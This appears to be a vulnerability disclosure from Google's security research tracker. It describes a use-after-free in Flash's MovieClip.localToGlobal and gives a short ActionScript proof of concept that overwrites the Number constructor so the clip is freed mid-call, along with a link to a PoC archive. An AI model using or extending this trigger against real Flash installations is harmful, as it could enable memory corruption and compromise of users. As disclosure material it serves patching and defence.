26 lines
No EOL
749 B
Text
26 lines
No EOL
749 B
Text
Source: https://code.google.com/p/google-security-research/issues/detail?id=570
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There is a use-after-free issue in MovieClip.localToGlobal. If the Number constructor is overwritten with a new constructor and MovieClip.localToGlobal is called with an integer parameter, the new constructor will get called. If this constructor frees the MovieClip, a use-after-free occurs. A minimal PoC is as follows:
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var a = func;
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_global.Number = a;
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this.createEmptyMovieClip("mc", 1);
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mc.localToGlobal( 7 );
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function func(){
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mc.removeMovieClip();
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// fix heap here
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this.x = 2;
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this.y = 1;
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}
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A sample swf and fla are attached.
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Proof of Concept:
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https://gitlab.com/exploit-database/exploitdb-bin-sploits/-/raw/main/bin-sploits/39056.zip |